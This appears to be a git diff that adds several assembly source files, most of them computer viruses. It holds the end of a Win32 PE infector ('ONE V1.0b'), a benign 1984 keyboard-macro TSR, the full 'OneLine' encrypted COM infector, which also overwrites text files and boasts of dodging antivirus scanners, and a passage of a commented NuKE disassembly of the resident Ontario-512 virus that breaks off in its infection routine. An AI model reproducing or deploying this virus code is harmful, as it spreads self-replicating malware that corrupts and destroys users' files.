push dword ptr [ebp+OpenFileHandle] ;OPEN file handle.
|
||||
call [ebp+lpfCreateFileMappingA] ;Create the mapped object.
|
||||
cmp eax, 0 ;Did we fail?
|
||||
je OF_Failed ;Yep.
|
||||
mov [ebp+MappedObjectHandle], eax ;Save handle to mapped object.
|
||||
|
||||
;Map file into object.
|
||||
push 0 ;Map WHOLE file.
|
||||
;Offsets are not needed cause we're gonna start mapping at the
|
||||
;beginning of the file.
|
||||
push 0 ;Low order 32 bits of offset.
|
||||
push 0 ;High order 32 bits of offset.
|
||||
push FILE_MAP_WRITE ;We need Read+Write access.
|
||||
push eax ;Handle of mapping object.
|
||||
call [ebp+lpfMapViewOfFile] ;Map the file
|
||||
;Dont ask me why, but this returns some fucked up handle
|
||||
;to memory that doesnt appear to exist, and the file doesnt
|
||||
;seem to be read into memory until this memory is actually
|
||||
;accessed(which magically does NOT cause a page fault)!
|
||||
;weird! (I could be wrong, maybe just my debugger...)
|
||||
mov [ebp+MapBaseAddr], eax ;Save base Address.
|
||||
cmp eax, 0 ;Did we fail?
|
||||
jne MP_Success ;We succeeded
|
||||
stc
|
||||
MP_Success:
|
||||
ret
|
||||
MapFile ENDP
|
||||
|
||||
;**** RestoreAttribs ****
|
||||
;This proc restores the attributes of the file pointed to by
|
||||
;FoundFileData. CarryFlag is NOT set on errors.
|
||||
|
||||
RestoreAttribs PROC
|
||||
;Restore file attributes.
|
||||
mov eax, [ebp+OrigFileAttribs] ;The files original attribs
|
||||
push eax
|
||||
lea eax, [ebp+FoundFileData.WFD_szFileName]
|
||||
push eax ;Push found files name.
|
||||
call [ebp+lpfSetFileAttributesA] ;Set the attributes.
|
||||
ret
|
||||
RestoreAttribs ENDP
|
||||
|
||||
;**** OpenFile ****
|
||||
;This proc just opens the file pointed to in FoundFileData.
|
||||
;If successful, the OPEN files handle is put into OpenFileHandle.
|
||||
;If errors happen, the carry flag is set.
|
||||
|
||||
OpenFile PROC
|
||||
;Open the file.
|
||||
push 0
|
||||
push FILE_ATTRIBUTE_NORMAL
|
||||
push OPEN_EXISTING
|
||||
push 0
|
||||
push 0 ;0=Request exclusive access
|
||||
push GENERIC_READ + GENERIC_WRITE
|
||||
lea eax, [ebp+FoundFileData.WFD_szFileName]
|
||||
push eax ;Push files name on stack.
|
||||
call [ebp+lpfCreateFileA] ;Open file.
|
||||
cmp eax, 0FFFFFFFFh ;Did we fail?
|
||||
je OF_Failed ;Jeah, we failed. (SETS CARRY)
|
||||
mov [ebp+OpenFileHandle], eax ;Save handle of OPEN file.
|
||||
clc ;Clear carry flag (no errors)
|
||||
ret
|
||||
OF_Failed:
|
||||
stc ;Set carry flag.
|
||||
ret
|
||||
OpenFile ENDP
|
||||
|
||||
;**** CloseFile ****
|
||||
;This proc just closes the file pointed to by OpenFileHandle.
|
||||
;Carry flag is NOT set if errors occur.(what for?)
|
||||
|
||||
CloseFile PROC
|
||||
;Close the file.
|
||||
push dword ptr [ebp+OpenFileHandle] ;Handle of opened file.
|
||||
call [ebp+lpfCloseHandle] ;Close it
|
||||
ret
|
||||
CloseFile ENDP
|
||||
|
||||
;**** AlignFix ****
|
||||
|
||||
AlignFix PROC
|
||||
xor edx, edx
|
||||
div ecx ;/alignment
|
||||
inc eax ;next alignment
|
||||
mul ecx ;*alignment
|
||||
ret
|
||||
AlignFix ENDP
|
||||
|
||||
;**** ExtractAbsoluteAddress ****
|
||||
|
||||
ExtractAbsoluteAddress PROC
|
||||
pushad ;Save everything.
|
||||
|
||||
mov ecx, [esi] ;Get string length.
|
||||
add esi, 4 ;Point to string
|
||||
rep cmpsb ;Check the string.
|
||||
|
||||
popad ;Restore everything.
|
||||
jne EAA_NotString ;This isn't the string - exit.
|
||||
|
||||
xchg esi, eax ;ESI = dword for address.
|
||||
|
||||
mov eax, [ebx+1Ch] ;RVA of Function Address array.
|
||||
add eax, [ebp+UnnamedOffset] ;Plus unused function names.
|
||||
add eax, [ebp+K32Base] ;Plus DLL load address.
|
||||
add eax, ecx ;Plus array offset.
|
||||
mov eax, [eax] ;Get the address.
|
||||
add eax, [ebp+K32Base] ;Plus DLL load address.
|
||||
|
||||
mov [esi], eax ;Save the address.
|
||||
|
||||
EAA_NotString:
|
||||
ret
|
||||
ExtractAbsoluteAddress ENDP
|
||||
|
||||
;**** MyGetProcAddress ****
|
||||
|
||||
MyGetProcAddress PROC
|
||||
push eax ;lpProcName.
|
||||
mov eax, [ebp+ModHandle] ;< hModule.
|
||||
push eax ;<
|
||||
call [ebp+lpfGetProcAddress] ;Call GetProcAddress directly.
|
||||
|
||||
cmp eax, 0 ;EAX = 0?
|
||||
jne MyGetProcDone ;Nope, success.
|
||||
|
||||
stc ;Failure.
|
||||
|
||||
MyGetProcDone:
|
||||
ret
|
||||
MyGetProcAddress ENDP
|
||||
|
||||
|
||||
; ****** DATA ******
|
||||
|
||||
K32Base dd 0 ;Start of K32 in memory.
|
||||
UnnamedOffset dd 0
|
||||
ModHandle dd 0BFF70000h ;Used with calls to MyGetProcAddr.
|
||||
lpfGetProcAddress dd 15d ;Crap for finding GetProcAddress.
|
||||
db "GetProcAddress",0
|
||||
FoundFileData WIN32_FIND_DATA ? ;Crap used for finding files.
|
||||
lpsExeFiles db '*.exe',0
|
||||
OldEA dd 0 ;Original Entry Point(NOT RVA)
|
||||
OldPhysSize dd 0 ;Old physical size of last object.
|
||||
FoundFileHandle dd 0 ;Spot for handle of found files.
|
||||
OpenFileHandle dd 0 ;Spot for handle of open files.
|
||||
MappedObjectHandle dd 0 ;Handle of mapped object.
|
||||
OrigFileAttribs dd 0 ;Spot for file attributes.
|
||||
DataFromFile dd 0 ;Data read from file.
|
||||
FileBytesRead dd 0 ;Number of bytes read.
|
||||
MapBaseAddr dd 0 ;Base address of mapped object.
|
||||
SizeOfHost dd 0 ;Size needed for mapped object.
|
||||
|
||||
PE_Header: ;Buffer for PE header.
|
||||
Sig_Bytes: dd 0
|
||||
CPU_Type: dw 0
|
||||
NumbOfObjects dw 0
|
||||
TimeStamp dd 0
|
||||
Reserved1 dd 0
|
||||
Reserved2 dd 0
|
||||
NT_HDR_Size dw 0
|
||||
Flags dw 0
|
||||
Reserved3 dw 0
|
||||
LMajor db 0
|
||||
LMinor db 0
|
||||
Reserved4 dd 0
|
||||
Reserved5 dd 0
|
||||
Reserved6 dd 0
|
||||
EntryPointRVA dd 0
|
||||
Reserved7 dd 0
|
||||
Reserved8 dd 0
|
||||
ImageBase dd 0
|
||||
ObjectAlign dd 0
|
||||
FileAlign dd 0
|
||||
OS_Major dw 0
|
||||
OS_Minor dw 0
|
||||
UserMajor dw 0
|
||||
UserMinor dw 0
|
||||
SubSysMajor dw 0
|
||||
SubSysMinor dw 0
|
||||
Reserved9 dd 0
|
||||
ImageSize dd 0 ;54h bytes.
|
||||
|
||||
ObjectTable: db 240d dup (0) ;Room for 6 object entries.
|
||||
|
||||
ImportTable: ; :-)
|
||||
db 'FindFirstFileA',0
|
||||
lpfFindFirstFileA dd 0
|
||||
db 'FindNextFileA',0
|
||||
lpfFindNextFileA dd 0
|
||||
db 'GetFileAttributesA',0
|
||||
lpfGetFileAttributesA dd 0
|
||||
db 'SetFileAttributesA',0
|
||||
lpfSetFileAttributesA dd 0
|
||||
db 'CreateFileA',0
|
||||
lpfCreateFileA dd 0
|
||||
db 'SetFilePointer',0
|
||||
lpfSetFilePointer dd 0
|
||||
db 'ReadFile',0
|
||||
lpfReadFile dd 0
|
||||
db 'GetFileSize',0
|
||||
lpfGetFileSize dd 0
|
||||
db 'CreateFileMappingA',0
|
||||
lpfCreateFileMappingA dd 0
|
||||
db 'MapViewOfFile',0
|
||||
lpfMapViewOfFile dd 0
|
||||
db 'UnmapViewOfFile',0
|
||||
lpfUnmapViewOfFile dd 0
|
||||
db 'CloseHandle',0
|
||||
lpfCloseHandle dd 0
|
||||
|
||||
lpsSig db '-=[ONE V1.0b by JFK/SGWW]=-'
|
||||
|
||||
v_end:
|
||||
end v_start
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,202 @@
|
|||
VECTORS SEGMENT AT 0H ;Set up segment to intercept Interrupts
|
||||
ORG 9H*4 ;The keyboard Interrupt
|
||||
KEYBOARD_INT_VECTOR LABEL DWORD
|
||||
ORG 1CH*4 ;Timer Interrupt
|
||||
TIMER_VECTOR LABEL DWORD
|
||||
VECTORS ENDS
|
||||
|
||||
ROM_BIOS_DATA SEGMENT AT 40H ;The ROM BIOS data area in low memory
|
||||
ORG 1AH ;This is where the keyboard buffer is.
|
||||
ROM_BUFFER_HEAD DW ? ;The position of the buffer's head
|
||||
ROM_BUFFER_TAIL DW ? ;And tail.
|
||||
KB_BUFFER DW 16 DUP (?) ;Reserve space for the buffer itself
|
||||
KB_BUFFER_END LABEL WORD ;Buffer's end is stored here.
|
||||
ROM_BIOS_DATA ENDS
|
||||
|
||||
CODE_SEG SEGMENT ;Begin the Code segment holding the programs
|
||||
ASSUME CS:CODE_SEG
|
||||
ORG 100H ;Com files start at ORG 100H
|
||||
BEGIN: JMP INIT_VECTORS ;Skip over data area
|
||||
|
||||
COPY_RIGHT DB '(C) 1984 S. Holzner' ;The Author's signature
|
||||
KEYS DW 30 DUP(0) ;The keys we replace
|
||||
FINISHED_FLAG DB 1 ;If not finished, timer will stuff buffer
|
||||
COMMANDS DW 1530 DUP(0) ;Scan and ASCII codes of commands
|
||||
COMMAND_INDEX DW 1 ;Stores position in command (for timer)
|
||||
ROM_KEYBOARD_INT DD 1 ;Called to interpret keyboard signals
|
||||
ROM_TIMER DD 1 ;The Timer interrupt's address
|
||||
|
||||
INTERCEPT_KEYBOARD_INT PROC NEAR ;Here it is.
|
||||
ASSUME DS:NOTHING ;Free DS
|
||||
PUSH DS ;Save all used registers
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
PUSH DX
|
||||
PUSH CX
|
||||
PUSH BX
|
||||
PUSH AX
|
||||
PUSHF ;Pushf for Keyboard Int's IRET
|
||||
CALL ROM_KEYBOARD_INT ;Have new key put into keyboard buffer
|
||||
ASSUME DS:ROM_BIOS_DATA ;Set up to point at keyboard buffer.
|
||||
MOV AX,ROM_BIOS_DATA
|
||||
MOV DS,AX
|
||||
|
||||
MOV BX,ROM_BUFFER_TAIL ;Was there a character? If Tail equals
|
||||
CMP BX,ROM_BUFFER_HEAD ; Head then no real character typed.
|
||||
JNE NEWCHAR
|
||||
JMP NO_NEW_CHARACTERS ;Jump out, no new characters.
|
||||
NEWCHAR:SUB BX,2 ;Move back two bytes from tail;
|
||||
CMP BX,OFFSET KB_BUFFER ;Do we have to wrap?
|
||||
JAE NO_WRAP ;No
|
||||
MOV BX,OFFSET KB_BUFFER_END ;Wrap by moving two bytes
|
||||
SUB BX,2 ; before buffer end.
|
||||
NO_WRAP:MOV AX,[BX] ;Get the character into AX
|
||||
|
||||
CMP FINISHED_FLAG,1 ;Done stuffing the buffer with last command?
|
||||
JE FIN ;Yes, proceed
|
||||
JMP NO_NEW_CHARACTERS ;No, leave.
|
||||
|
||||
FIN: MOV FINISHED_FLAG,1 ;Assume we'll finish
|
||||
|
||||
LEA SI,KEYS ;Point source index at keys to replace
|
||||
MOV CX,30 ;Loop over all of them
|
||||
LOOPER: CMP AX,CS:[SI] ;Match to given key (in AX)?
|
||||
JE FOUND ;Yes, key found, continue on.
|
||||
ADD SI,2 ;Point to next key to check it.
|
||||
LOOP LOOPER ;Go back for next one.
|
||||
JMP NO_NEW_CHARACTERS ;Loop finished without match - leave.
|
||||
|
||||
FOUND: CLI ;Turn off hardware (timer, keyboard) Interrupts
|
||||
LEA SI,COMMANDS ;Set up to read command
|
||||
NEG CX ;Find the location of first word of command
|
||||
ADD CX,30
|
||||
MOV AX,CX
|
||||
MOV CX,102
|
||||
MUL CL
|
||||
ADD SI,AX
|
||||
MOV COMMAND_INDEX,SI ;And move it into Command_Index
|
||||
|
||||
STUFF: MOV AX,CS:[SI] ;Here we go - get ready to stuff word in buffer.
|
||||
ADD SI,2 ;Point to the command's next character
|
||||
CMP AX,0 ;Is it a zero? (End of command)
|
||||
JE NO_NEW_CHARACTERS ;Yes, leave with Finished_Flag=1
|
||||
MOV DX,BX ;Find position in buffer from BX
|
||||
ADD DX,2 ;Move to next position for this word
|
||||
CMP DX,OFFSET KB_BUFFER_END ;Are we past the end?
|
||||
JL NO_WRAP2 ;No, don't wrap
|
||||
MOV DX,OFFSET KB_BUFFER ;Wrap
|
||||
NO_WRAP2:
|
||||
CMP DX,ROM_BUFFER_HEAD ;Buffer full but not yet done?
|
||||
JE BUFFER_FULL ;Time to leave, set Finished_Flag=0.
|
||||
ADD COMMAND_INDEX,2 ;Move to next word in command
|
||||
MOV [BX],AX ;Put it into the buffer right here.
|
||||
ADD BX,2 ;Point to next space in buffer
|
||||
CMP BX,OFFSET KB_BUFFER_END ;Wrap here?
|
||||
JL NO_WRAP3 ;No, readjust buffer tail
|
||||
MOV BX,OFFSET KB_BUFFER ;Yes, wrap
|
||||
NO_WRAP3:
|
||||
MOV ROM_BUFFER_TAIL,BX ;Reset buffer tail
|
||||
JMP STUFF ;Back to stuff in another character.
|
||||
BUFFER_FULL: ;If buffer is full, let timer take over
|
||||
MOV FINISHED_FLAG,0 ; by setting Finished_Flag to 0.
|
||||
NO_NEW_CHARACTERS:
|
||||
POP AX ;Restore everything before departure.
|
||||
POP BX
|
||||
POP CX
|
||||
POP DX
|
||||
POP DI
|
||||
POP SI
|
||||
POP DS
|
||||
STI
|
||||
IRET ;An interrupt deserves an IRET
|
||||
INTERCEPT_KEYBOARD_INT ENDP
|
||||
ASSUME DS:CODE_SEG
|
||||
INTERCEPT_TIMER PROC NEAR ;This completes filling the buffer
|
||||
PUSHF ;Store used flags
|
||||
PUSH DS ;Save DS since we'll change it
|
||||
PUSH CS ;Put current value of CS into DS
|
||||
POP DS
|
||||
CALL ROM_TIMER ;Make obligatory call
|
||||
PUSHF
|
||||
CMP FINISHED_FLAG,1 ;Do we have to do anything?
|
||||
JE OUT ;No, leave
|
||||
CLI ;Yes, start by clearing interrupts
|
||||
PUSH DS ;Save these.
|
||||
PUSH SI
|
||||
PUSH DX
|
||||
PUSH BX
|
||||
PUSH AX
|
||||
ASSUME DS:ROM_BIOS_DATA ;Point to the keyboard buffer again.
|
||||
MOV AX,ROM_BIOS_DATA
|
||||
MOV DS,AX
|
||||
MOV BX,ROM_BUFFER_TAIL ;Prepare to put charaters in at tail
|
||||
MOV FINISHED_FLAG,1 ;Assume we'll finish
|
||||
MOV SI,COMMAND_INDEX ;Find where we left ourselves
|
||||
|
||||
STUFF2: MOV AX,CS:[SI] ;The same stuff loop as above.
|
||||
ADD SI,2 ;Point to next command character.
|
||||
CMP AX,0 ;Is it zero? (end of command)
|
||||
JNE OVER ;No, continue.
|
||||
JMP NO_NEW_CHARACTERS2 ;Yes, leave with Finished_Flag=1
|
||||
OVER: MOV DX,BX ;Find position in buffer from BX
|
||||
ADD DX,2 ;Move to next position for this word
|
||||
CMP DX,OFFSET KB_BUFFER_END ;Are we past the end?
|
||||
JL NO_WRAP4 ;No, don't wrap
|
||||
MOV DX,OFFSET KB_BUFFER ;Do the Wrap rap.
|
||||
NO_WRAP4:
|
||||
CMP DX,ROM_BUFFER_HEAD ;Buffer full but not yet done?
|
||||
JE BUFFER_FULL2 ;Time to leave, come back later.
|
||||
ADD COMMAND_INDEX,2 ;Point to next word of command.
|
||||
MOV [BX],AX ;Put into buffer
|
||||
ADD BX,2 ;Point to next space in buffer
|
||||
CMP BX,OFFSET KB_BUFFER_END ;Wrap here?
|
||||
JL NO_WRAP5 ;No, readjust buffer tail
|
||||
MOV BX,OFFSET KB_BUFFER ;Yes, wrap
|
||||
NO_WRAP5:
|
||||
MOV ROM_BUFFER_TAIL,BX ;Reset buffer tail
|
||||
JMP STUFF2 ;Back to stuff in another character
|
||||
BUFFER_FULL2:
|
||||
MOV FINISHED_FLAG,0 ;Set flag to not-done-yet.
|
||||
NO_NEW_CHARACTERS2:
|
||||
POP AX ;Restore these.
|
||||
POP BX
|
||||
POP DX
|
||||
POP SI
|
||||
POP DS
|
||||
OUT: POPF ;And Exit.
|
||||
POP DS
|
||||
IRET ;With customary IRET
|
||||
INTERCEPT_TIMER ENDP
|
||||
|
||||
INIT_VECTORS PROC NEAR ;Rest Interrupt vectors here
|
||||
ASSUME DS:VECTORS
|
||||
PUSH DS
|
||||
MOV AX,VECTORS
|
||||
MOV DS,AX
|
||||
CLI ;Don't allow interrupts
|
||||
MOV AX,KEYBOARD_INT_VECTOR ;Get and store old interrupt address
|
||||
MOV ROM_KEYBOARD_INT,AX
|
||||
MOV AX,KEYBOARD_INT_VECTOR[2]
|
||||
MOV ROM_KEYBOARD_INT[2],AX
|
||||
|
||||
MOV KEYBOARD_INT_VECTOR,OFFSET INTERCEPT_KEYBOARD_INT
|
||||
MOV KEYBOARD_INT_VECTOR[2],CS ;And put ours in place.
|
||||
MOV AX,TIMER_VECTOR ;Now same for timer
|
||||
MOV ROM_TIMER,AX
|
||||
MOV AX,TIMER_VECTOR[2]
|
||||
MOV ROM_TIMER[2],AX
|
||||
|
||||
MOV TIMER_VECTOR,OFFSET INTERCEPT_TIMER
|
||||
MOV TIMER_VECTOR[2],CS ;And intercept that too.
|
||||
STI
|
||||
ASSUME DS:ROM_BIOS_DATA
|
||||
MOV AX,ROM_BIOS_DATA
|
||||
MOV DS,AX
|
||||
MOV BX,OFFSET KB_BUFFER ;Clear the keyboard buffer.
|
||||
MOV ROM_BUFFER_HEAD,BX
|
||||
MOV ROM_BUFFER_TAIL,BX
|
||||
MOV DX,OFFSET INIT_VECTORS ;Prepare to attach in memory
|
||||
INT 27H ;And do so.
|
||||
INIT_VECTORS ENDP
|
||||
CODE_SEG ENDS
|
||||
END BEGIN ;End Begin so that we jump there first.
|
|
@ -0,0 +1,134 @@
|
|||
|
||||
; ------------------------------------------------------------
|
||||
; -- The OneLine Virus --
|
||||
; -- By Arsonic[CodeBreakers] --
|
||||
; -- HTTP://CODEBREAKERS.SIMPLENET.COM --
|
||||
; ------------------------------------------------------------
|
||||
|
||||
|
||||
; Virus Info: This Virus is a 600 byte Long Encrypted Overwriting piece of
|
||||
; shit. it will infect all *.com file in the current directory and overwrite
|
||||
; the first line of all text files found with Famous Lines And Stuff..
|
||||
|
||||
; Detected By:
|
||||
|
||||
; TBAV: Says This is a Unknown Virus.. But Only on the First Generation.. :)
|
||||
; FPROT: ??? did'n have it on my computer at the time of scanning..
|
||||
; AVP: Nope.. Detected 3000 other virus's i got on my comp.. but not this one..
|
||||
|
||||
jmp crypt_start
|
||||
|
||||
start:
|
||||
mov di,si
|
||||
mov cx,crypt_start
|
||||
call crypt
|
||||
jmp crypt_start
|
||||
|
||||
crypt:
|
||||
xorloop:
|
||||
lodsb
|
||||
xor al,byte ptr[xor_value]
|
||||
stosb
|
||||
loop xorloop
|
||||
ret
|
||||
|
||||
xor_value db 0
|
||||
|
||||
crypt_start:
|
||||
|
||||
mov ah,4eh
|
||||
lea dx,mask
|
||||
int 21h
|
||||
jnc infect
|
||||
jmp text
|
||||
|
||||
infect:
|
||||
mov ax,3d02h
|
||||
mov dx,9eh
|
||||
int 21h
|
||||
mov bx,ax
|
||||
|
||||
; I suggest 'xchg bx,ax', because its only 1 byte, but thats your decision
|
||||
|
||||
in al,40h
|
||||
mov byte ptr [xor_value],al
|
||||
|
||||
lea si,crypt_start
|
||||
lea di,end
|
||||
mov cx,end - crypt_start
|
||||
call crypt
|
||||
|
||||
mov ah,40h
|
||||
mov cx,crypt_start - start
|
||||
lea dx,start
|
||||
int 21h
|
||||
|
||||
mov ah,40h
|
||||
mov cx,end - crypt_start
|
||||
lea dx,end
|
||||
int 21h
|
||||
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
jmp find_next
|
||||
|
||||
find_next:
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
jnc infect
|
||||
jmp text
|
||||
|
||||
text:
|
||||
mov ah,4eh
|
||||
lea dx,textmask
|
||||
int 21h
|
||||
jnc text_payload
|
||||
jmp close
|
||||
|
||||
text_payload:
|
||||
mov ax,3d02h
|
||||
mov dx,9eh
|
||||
int 21h
|
||||
|
||||
mov ah,40h
|
||||
mov cx,message_end - message_start
|
||||
lea dx,message_start
|
||||
int 21h
|
||||
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
jmp text_findnext
|
||||
|
||||
text_findnext:
|
||||
mov ah,4fh
|
||||
int 21h
|
||||
jnc text_payload
|
||||
jmp close
|
||||
|
||||
message_start:
|
||||
db 'LEGALIZE CANNABUS!'
|
||||
db 'HO HO HO.. NOW I HAVE A MACHINE GUN!'
|
||||
db 'This is another 60 minutes...'
|
||||
db 'Burn Baby, BURN!'
|
||||
db 'Keep The Opressor Opressing..'
|
||||
db 'Have U Had Your Break TodaY?'
|
||||
db 'Oh I Wish I Was A Ocsar Myer Wiener!'
|
||||
db 'What Came First The Chicken Or the Egg?'
|
||||
db 'Help Me.. Help You!'
|
||||
db 'SHOW ME THE MONEY!!'
|
||||
db 'Take it Off Baby!'
|
||||
db 'ADRIAN!!!!'
|
||||
db 'Where do You Want To Go Today?'
|
||||
db 'We Are the Shitty VR! VRLAND SUX SHIT!'
|
||||
db 'INCOMING!!!!!!!! BOOOOOOOOOMMMMMM!'
|
||||
message_end:
|
||||
|
||||
close:
|
||||
int 20h
|
||||
|
||||
mask db '*.com',0
|
||||
textmask db '*.txt',0
|
||||
author db ' ARSONIC [CODEBREaKERS]',13,10,'$'
|
||||
virus db 'THE OnELINE VIRUS',13,10,'$'
|
||||
origin db 'PROUDLY MADE IN CANADA..',13,10,'$'
|
||||
end:
|
|
@ -0,0 +1,296 @@
|
|||
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
;-* Ontario-512 Virus *-
|
||||
;*- ~~~~~~~~~~~~~~~~~~~ -*
|
||||
;-* Disassmembly by: Rock Steady/NuKE *-
|
||||
;*- ~~~~~~~~~~~~~~~~ -*
|
||||
;-* Notes: Resident EXE and COM infector, will infect COMMAND.COM *-
|
||||
;*- ~~~~~~ on execution. 512 bytes file increase, memory decrease -*
|
||||
;-* of about 2,048 bytes. Anti-debugging, encrypted virus. *-
|
||||
;*- -*
|
||||
;-* (c) Copy-Ya-Rite [NuKE] Viral Development Labs '92 *-
|
||||
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
virus segment byte public
|
||||
assume cs:virus, ds:virus
|
||||
|
||||
org 100h ;Guess its a COM File huh?
|
||||
ont proc far
|
||||
|
||||
start:
|
||||
jmp go4it ;Jump to beginning of the
|
||||
db 1Dh ;Virus And start!
|
||||
db 'fected [NuKE]''92', 0Dh, 0Ah, '$'
|
||||
mov dx,0102h ;This is the small File the Virus
|
||||
mov ah,09h ;is infected to! As you see it only
|
||||
int 21h ;displays that messages and exits
|
||||
int 20h ;Exit Command for COMs
|
||||
go4it:
|
||||
nop
|
||||
call decrypt ;Get Decryption value & Decrypt viri
|
||||
call virus_start ;Start the Virus!
|
||||
ont endp
|
||||
|
||||
;---------------------------------------------------------------------;
|
||||
; The Start of the Virus Code ;
|
||||
;---------------------------------------------------------------------;
|
||||
|
||||
virus_start proc near
|
||||
pop bp
|
||||
sub bp,7
|
||||
mov ax,0FFFFh ;Is Virus in Memory hooked on?
|
||||
int 21h ;the Int 21h?
|
||||
or ah,ah ;
|
||||
jz bye_bye ;Yes it is... Quit then...
|
||||
push ds
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
sub word ptr ds:413h,2
|
||||
lds bx,dword ptr ds:84h
|
||||
mov word ptr cs:[200h][bp],bx
|
||||
mov word ptr cs:[202h][bp],ds
|
||||
mov bx,es
|
||||
dec bx
|
||||
mov ds,bx
|
||||
sub word ptr ds:3,80h
|
||||
mov ax,ds:12h
|
||||
sub ax,80h
|
||||
mov ds:12h,ax
|
||||
mov es,ax
|
||||
push cs
|
||||
pop ds
|
||||
mov si,bp
|
||||
xor di,di
|
||||
mov cx,204h
|
||||
cld
|
||||
rep movsb
|
||||
mov ds,cx
|
||||
cli ;This is where we hook the
|
||||
mov word ptr ds:84h,7Fh ;virus to the Int21h
|
||||
mov word ptr ds:84h+2,ax
|
||||
sti
|
||||
mov ax,4BFFh
|
||||
int 21h
|
||||
pop ds
|
||||
push ds
|
||||
pop es
|
||||
bye_bye:
|
||||
or bp,bp
|
||||
jz what
|
||||
lea si,[bp+7Bh]
|
||||
nop
|
||||
mov di,offset ds:[100h]
|
||||
push di
|
||||
cld
|
||||
movsw
|
||||
movsw
|
||||
retn
|
||||
what:
|
||||
mov ax,es
|
||||
add cs:7dh,ax
|
||||
;* jmp far ptr go4it7
|
||||
virus_start endp
|
||||
db 0EAh,0EBh, 15h, 49h, 6Eh
|
||||
cmp ax,0FFFFh
|
||||
jne new_21h
|
||||
inc ax
|
||||
iret
|
||||
;---------------------------------------------------------------------;
|
||||
; Interrupt 21h handler ;
|
||||
;---------------------------------------------------------------------;
|
||||
new_21h:
|
||||
cmp ah,4Bh ;Test, is File beginning Executed!
|
||||
jne leave_ok ;Nope! Call Int21!
|
||||
cmp al,3 ;Overlay, beginning execute?
|
||||
je leave_ok ;Yes! Leave it alone
|
||||
cmp al,0FFh ;Virus testing to see if its alive?
|
||||
jne do_it_man ;in memory?
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,1DDh
|
||||
call infect
|
||||
iret
|
||||
do_it_man:
|
||||
call infect ;Infect file dude...
|
||||
leave_ok:
|
||||
jmp dword ptr cs:[200h] ;Int21 handler..
|
||||
|
||||
;---------------------------------------------------------------------;
|
||||
; Infection Routine for the Ontario Virus ;
|
||||
;---------------------------------------------------------------------;
|
||||
|
||||
infect proc near
|
||||
push es
|
||||
push ds ;Save them not to fuck things up..
|
||||
push dx
|
||||
push cx
|
||||
push bx
|
||||
push ax
|
||||
mov ax,4300h ;Here we get the file attribute
|
||||
call int21 ;for file to be infected.
|
||||
jc outta ;Bitch Error encountered. Quit!
|
||||
test cl,1 ;Test if its Read-Only!
|
||||
jz attrib_ok ;Ok, it ain't Read-Only Continue!
|
||||
and cl,0FEh ;Set Read-Only to normal Attribs
|
||||
mov ax,4301h ;Call Ints to do it...
|
||||
call int21 ;Bingo! Done!
|
||||
jc outta ;Error encountered? Split if yes!
|
||||
attrib_ok:
|
||||
mov ax,3D02h ;Open file for Read/Write
|
||||
call int21 ;Call Interrupt to do it!
|
||||
jnc open_ok ;no errors? Continue!
|
||||
outta:
|
||||
jmp go4it5 ;Hey, Split Man... Errors happened!
|
||||
open_ok:
|
||||
mov bx,ax ;BX=File Handle
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,5700h ;Get File's Date & Time
|
||||
call int21 ;Do it!
|
||||
mov word ptr ds:[204h],cx ;Save Time
|
||||
mov word ptr ds:[206h],dx ;Save Date
|
||||
mov dx,208h ;DX=Pointer
|
||||
mov cx,1Bh ;CX=Number of Btyes
|
||||
mov ah,3Fh ;Read From File
|
||||
call int21 ;Do It!
|
||||
jc go4it1 ;Errors? Quit if yes!
|
||||
cmp word ptr ds:[208h],5A4Dh ;Check if files already
|
||||
je go4it0 ;infected.
|
||||
mov al,byte ptr ds:[209h] ;Com , Exes...
|
||||
cmp al,byte ptr ds:[20Bh]
|
||||
je go4it1
|
||||
xor dx,dx
|
||||
xor cx,cx
|
||||
mov ax,4202h
|
||||
call int21 ;Move File pointer to end of
|
||||
jc go4it1 ;file to be infected.
|
||||
cmp ax,0E000h ;File bigger than E000 bytes?
|
||||
ja go4it1 ;Error...
|
||||
push ax ;Save File Length
|
||||
mov ax,word ptr ds:[208h]
|
||||
mov ds:7bh,ax
|
||||
mov ax,word ptr ds:[20Ah]
|
||||
mov ds:7dh,ax
|
||||
pop ax ;All this is, is a complex
|
||||
sub ax,3 ;way to do "JMP"
|
||||
mov byte ptr ds:[208h],0E9h ;
|
||||
mov word ptr ds:[209h],ax
|
||||
mov byte ptr ds:[20Bh],al
|
||||
jmp short go4it3 ;File READY Infect it!
|
||||
db 90h ;NOP me... detection string?
|
||||
go4it0:
|
||||
cmp word ptr ds:[21Ch],1
|
||||
jne go4it2
|
||||
go4it1:
|
||||
jmp go4it4
|
||||
go4it2:
|
||||
mov ax,word ptr ds:[20Ch]
|
||||
mov cx,200h
|
||||
mul cx
|
||||
push ax
|
||||
push dx
|
||||
mov cl,4
|
||||
ror dx,cl
|
||||
shr ax,cl
|
||||
add ax,dx
|
||||
sub ax,word ptr ds:[210h]
|
||||
push ax
|
||||
mov ax,word ptr ds:[21Ch]
|
||||
mov ds:7bh,ax
|
||||
mov ax,word ptr ds:[21Eh]
|
||||
add ax,10h
|
||||
mov ds:7dh,ax
|
||||
pop ax ; This is continues with the
|
||||
mov word ptr ds:[21Eh],ax ; above to put a JMP at the
|
||||
mov word ptr ds:[21Ch],1 ; beginning of the file!
|
||||
inc word ptr ds:[20Ch] ;
|
||||
pop cx ;
|
||||
pop dx ;
|
||||
mov ax,4200h ;
|
||||
call int21
|
||||
jc go4it4
|
||||
go4it3:
|
||||
xor byte ptr ds:[1F8h],8 ;
|
||||
xor ax,ax ; Theses Lines copy the
|
||||
mov ds,ax ; virus code else where
|
||||
mov al,ds:46Ch ; in memory to get it
|
||||
push cs ; ready to infect the file
|
||||
pop ds ; as we must encrypt it
|
||||
push cs ; FIRST when we infect the
|
||||
pop es ; file. so we'll encrypt
|
||||
mov byte ptr ds:[1ECh],al ; this copy we're making!
|
||||
xor si,si ; and append that to the
|
||||
mov di,offset ds:[224h] ; end of the file
|
||||
push di ;
|
||||
